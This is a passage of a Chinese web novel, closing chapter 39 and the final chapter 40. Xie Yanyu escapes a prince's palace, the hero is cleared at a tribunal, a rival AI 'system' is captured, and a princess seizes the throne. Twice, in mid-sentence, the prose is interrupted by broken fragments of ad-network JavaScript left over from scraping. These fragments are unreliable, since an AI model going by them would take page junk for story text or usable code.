容萱去第一军团的事是他提出的,为的就是让陆安墨掌管第三军团,等他和陆安然结婚,第三军团就是他的囊中之物。 可现在秦宥回来了,一切都失控了。 原本谈的好好的陆安然再也不肯见他,问姓陆的老匹夫就说身体不好,身体再不好,也不可能连消息也不给他发吧? 他疑心是秦宥去找了他,两人达成了什么协议,所以才半路反水。 可他也不想想,皇室继承人就三个,除了他,就是已经残疾颓废度日的废太子,还有一个疯子三公主。 他们无论哪一个,都不可能成为他成功路上的绊脚石。 这是二皇子最大的依仗,因此,尽管心里再怎么着急,他也没有害怕,他笃定,最后登上皇位的是自己。 他父亲已经老了,清醒的时间少之又少,为了帝国,下次他醒来,内阁大臣就会让他签署让位协议。 他耐心点,再等等,就算秦宥无罪释放,他也耗得起。 看着审判庭中间站立的男人,二皇子眼底覆上一层阴影。 他在心里呼叫系统,以往会立刻出现的系统已经连续三天没有声响,这让他有些心浮气躁。 听着下边宣证人上场的声音,二皇子皱起眉,心里暗骂,“系统,你他妈死哪去了!没看见秦宥又回来了吗!再不出来,你所谓的任务就失败了!” 与此同时,二皇子的寝宫中,从男仆处得到二皇子离开并带走了大半士兵的谢烟雨正琢磨着怎么从三楼跳下去逃跑。 690突然冒出来,“宿主,我需要离开一下。” 拎着床单和窗帘打结的谢烟雨有些愣住,“发生什么事了吗?” 她一直以为690平日都是离线状态,现在听它这么说才反应过来它一直在自己脑海里待机。 “刚检测到世界内有相似能源的出没,我去看看。”690从她体内脱离,飘到半空,看见了她的动作,加了一句,“宿主,逃跑愉快。” 谢烟雨:“......好的。” 690走了,谢烟雨继续打结,弄好之后将一头系在了房内的圆柱上,试了试结实度后跑到窗户旁,探出头看了看。 被二皇子关进来的时候她就想过怎么逃跑了,与其等待别人的救援,还是靠自己最好。 谢烟雨算过了,今天是秦宥去审判庭的日子,按照二皇子的性格,多半会带着人去旁听。 秦宥说的男仆说的信息也肯定了这个想法。 巡逻的士兵被带走了一半,二皇子也不在,此时不跑,下次就没有这么好的机会了。 谢烟雨把窗帘和床单结合体扔下窗,另一头不到地面,还有一米多高。 下边是一片草地,摔着了应该也不会很痛。 谢烟雨舔了舔干涩的唇瓣,抬起手擦干净手心的汗珠,动作麻利地翻下窗。 她动作不是很熟练,但也不算生涩,托了她平日里运动的福。 到末尾的时候,谢烟雨闭了闭眼,跳下去的瞬间护住头部,在地上滚了两圈减缓重力。 没受伤,就是疼得厉害。 谢烟雨呼了口气,从地上爬起来,一刻也不敢待,顺着后院的小路跑了出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 去。 跑出小路就是大路,谢烟雨躲在树下遥遥地打量着周边。 她跟着谢父来过几次皇宫参加宴会,对大致的布局有点印象,但这边显然不是她来过的前殿,而是前殿往后的地方,应该是专门住人的。 谢烟雨飞快地思索着,皇室三位继承人都住在宫中,二皇子的寝宫在身后,其他两位的应该也不会特别特别远。 她抬眼望去,找到几栋长得差不多的,其中两栋的楼上有人影晃动。 谢烟雨用眼计算距离,闷头往最近的那栋绕去。 她不敢离那些巡逻的士兵太近,害怕被发现。 也是奇怪,今天皇宫的巡逻并不严密,让她钻着空子跑到了先前看好的那栋。 谢烟雨翻进后花园的灌木丛中,听到不远处传来女仆的声音。 “公主今日又犯病了,刚刚跑出去还弄伤了几名士兵。” 谢烟雨皱眉,怪不得她说越靠近这里士兵越少,只是,按照她的推理,三公主不应该有病。 她眯了眯眼,想到了什么,眉头蹙得更紧。 此时,顶楼的小花园里,徐袅正垂眸喝茶。 她的随从官恭敬地立在她身后,“公主,需要去接您说的客人吗?” 徐袅放下茶盏,脸上露出一抹轻柔的笑。 她脸色偏白,唇也是白的,这么一笑,看起来弱柳扶风,分外娇弱。 “你们接不了她。”她轻声道,“算算时间,也该到了。” 徐袅站起身,走到栏杆旁往下看,从徐州后院出发,最近的地方就是她的后花园。 如果她没猜错,谢烟雨应该已经翻墙进来了。 她的目光一寸寸扫过楼底,却始终没有看见那抹身影。 奇怪。 徐袅皱起眉,正要开口让随从官下去找人时,感受到了一束目光。 她转头看去,谢烟雨站在隐蔽的墙角,那刚好是一个死角,阳光不至形成阴影,完全遮盖了她的身影,但现在她走了出来,正微仰着头看她。 隔得太远,徐袅看不清她的神色,可想也知道这人是明白了什么。 她唇边勾起一抹笑,对随从官道:“去吧楼底下的那位小姐请上来。” 随从官想问什么,又压了下去。 自从殿下装疯卖傻开始,她就再也摸不透她,平日里更是会被她似乎能看清人心的眼神渗到。 她跟了徐袅多年,知道徐袅最不喜欢多嘴的人。 尽管现下疑问再多,她也闭住了嘴,行礼后快步下楼。 谢烟雨并没有离开,她和徐袅依旧对视着,只不过抬头久了,脖子发酸,她率先移开了视线。 随从官步履匆匆地来到后花园,果然看见了一位小姐站在那。 不知道她是怎么进来的,身上和脸上全是细微的小伤口。 她似乎并不意外自己的出现,在原地停顿片刻后主动走上前。 随从官连忙道:“见过谢小姐。” 她虽很少出宫,但谢烟雨的画像她是见过的,就挂在公主的书房里,最右侧打了个小小的对勾,这表明,谢烟雨是公主可以信任的人。 40. 结局 690沿着能源波动最厉害的地方飘,最后飘进了审判庭。 这里围坐满了人,有高官,也有那些惨死士兵的家属。 秦宥站在最中间,接受对面内阁众臣的问话。 他带来的证人以及医生开具的失忆病单,都足以证明他确实是失忆了,并不是外界所说的畏罪自逃,但这些不足以安抚痛失家人的军属。 审判庭里并不安静,细碎的交流声交杂在一起吵吵嚷嚷的宛如菜市场。 最先发问的是坐在右侧的一个老头,“大战无故损失数万名士兵,此事你作何解释?” 秦宥侧过身子,目光落在二皇子身上,意味不明地道:“那就要问问二皇子了。” 此话一出,全场寂静,所有人都顺着他的视线看向二皇子。 现场氛围诡异,二皇子脸色青红交加,完全没想到秦宥敢在这个时候发难。 他对上秦宥的视线,手心立刻出了汗,脸上却扯出一抹笑,强装镇定,“这事为何会与本殿下有关?秦上将,你最好说清楚点。” 二皇子看着他,搭在扶手上的手指轻点三下,是在说谢烟雨还在他手上。 秦宥眼眸微眯,看向场外的苏铭,后者立刻将坐在轮椅上的秦天海和谢父推了进来。 二皇子脸色微变,心里七上八下,一直在呼喊系统。 690蹲守在他身旁,等他的系统一冒头,就冲过去将其抓了起来。 它打量着被困进笼子里的系统,后者一边往后缩,一边瞪着绿豆眼看它,“你是谁!” 690皱了皱眉,扫描过后知道了它的来历。 是一个未完成的辅助系统,完整的辅助系统都是有编号的,像二皇子系统一样的没有编号的,就是还未完成的。 只是未完成的系统怎么跑了出来?还差点把这个世界剿灭。 690没有理会它的大喊大叫,利用能量将它送回主神空间,并附上一份报告。 解决完这件事,690回头看了眼,没有系统护持,二皇子很明显感受到了差别,乱了阵脚,这会跳进了秦宥的陷阱,狡辩无门。 但碍于他是皇室唯一的继承人,纵然军属情绪激愤,内阁大臣们也难以下定决心对他进行处置。 他们匆忙宣布秦宥无罪释放,不日回归军团,重掌第一军团,而二皇子则被暂时关押,等昏迷的陛下清醒后再做抉择。 从审判庭出来,秦宥直奔皇宫。 二皇子被关,他手底下的人龟缩起来不敢动手,秦宥可以直接去把谢烟雨接出来了。 至于二皇子会得到什么样的处置,就看三公主到底有多狠了。 秦宥刚走到二皇子寝宫不远处,就看见了随风飘扬的床单。 他眉头一皱,攀上去看没有发现人,顿时有些心慌,顺着痕迹找过去,最后在徐袅的寝宫找到了要找的人。 谢烟雨刚和徐袅聊完天。 徐袅把自己和秦宥合作的事告诉了她,并向她解释了一些东西。 比如,她引谢烟雨去木穹星的原因,开始是想让她带着陆安然远离这些纷争。 老远看见秦宥后,徐袅止住了话语,冲谢烟雨眨了眨眼,“其实还有一件事想要告诉你。” “什么?” “谢骁是我的孩子,说起来,你也该唤我一声嫂嫂。” 谢烟雨不可置信地瞪大了双眼,这她是真的真的没有想到! 后来她才知道,徐袅也被那两位女官 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 教过,也有一段不好过的日子。 她受不了逃了出去,遇见了谢林臣,两人看对了眼就在一起了,后来生下谢骁,谢林臣被谢家赶出去,徐袅才暴露自己的身份。 再后来,徐袅回了皇宫,在暗中给予谢林臣支持,让他在商界无往不利,同时,也在积极地筹备自己篡位一事。 剩下的,徐袅不用说,谢烟雨也能猜到了。 昏迷的陛下清醒后,徐袅去看了他。 两人不知道说了什么,最后陛下传位给徐袅。 内阁有些大臣蹦出来想说不赞同,但一转头,发现自己的同伴已经在喊陛下后又闭了嘴。 徐袅就这样登上皇位,以铁血手段镇压众人,迅速理清大战士兵被坑杀一案,将二皇子当众斩首。 谢林臣和她的关系也被公布,其中,最高兴的就是谢骁了。 徐袅和谢林臣事忙,谢骁经常找谢烟雨玩,一来二去,任务进度很早满了60。 690正式和谢烟雨告别,“宿主,我要走了。” 谢烟雨正在浇花,闻言愣了好一会,“要解绑了?” “是的,恭喜宿主完成任务,祝宿主往后生活愉快。” 谢烟雨点了点头,有些恍惚地看着它飘在半空中进行解绑,随后越飘越远。 秦宥过来找她,见她这副模样也朝空中看去,但什么也没有看见,“怎么了?” 他伸手搂过谢烟雨,亲了亲她的发顶,语气温柔。 “没事。” 谢烟雨收回目光,放松身体窝在他怀里。 远处太阳刚掉进地平线,天边还是橙红一片。 夕阳余晖下,两人静静相拥,无声透露的爱意弥漫整个后花园。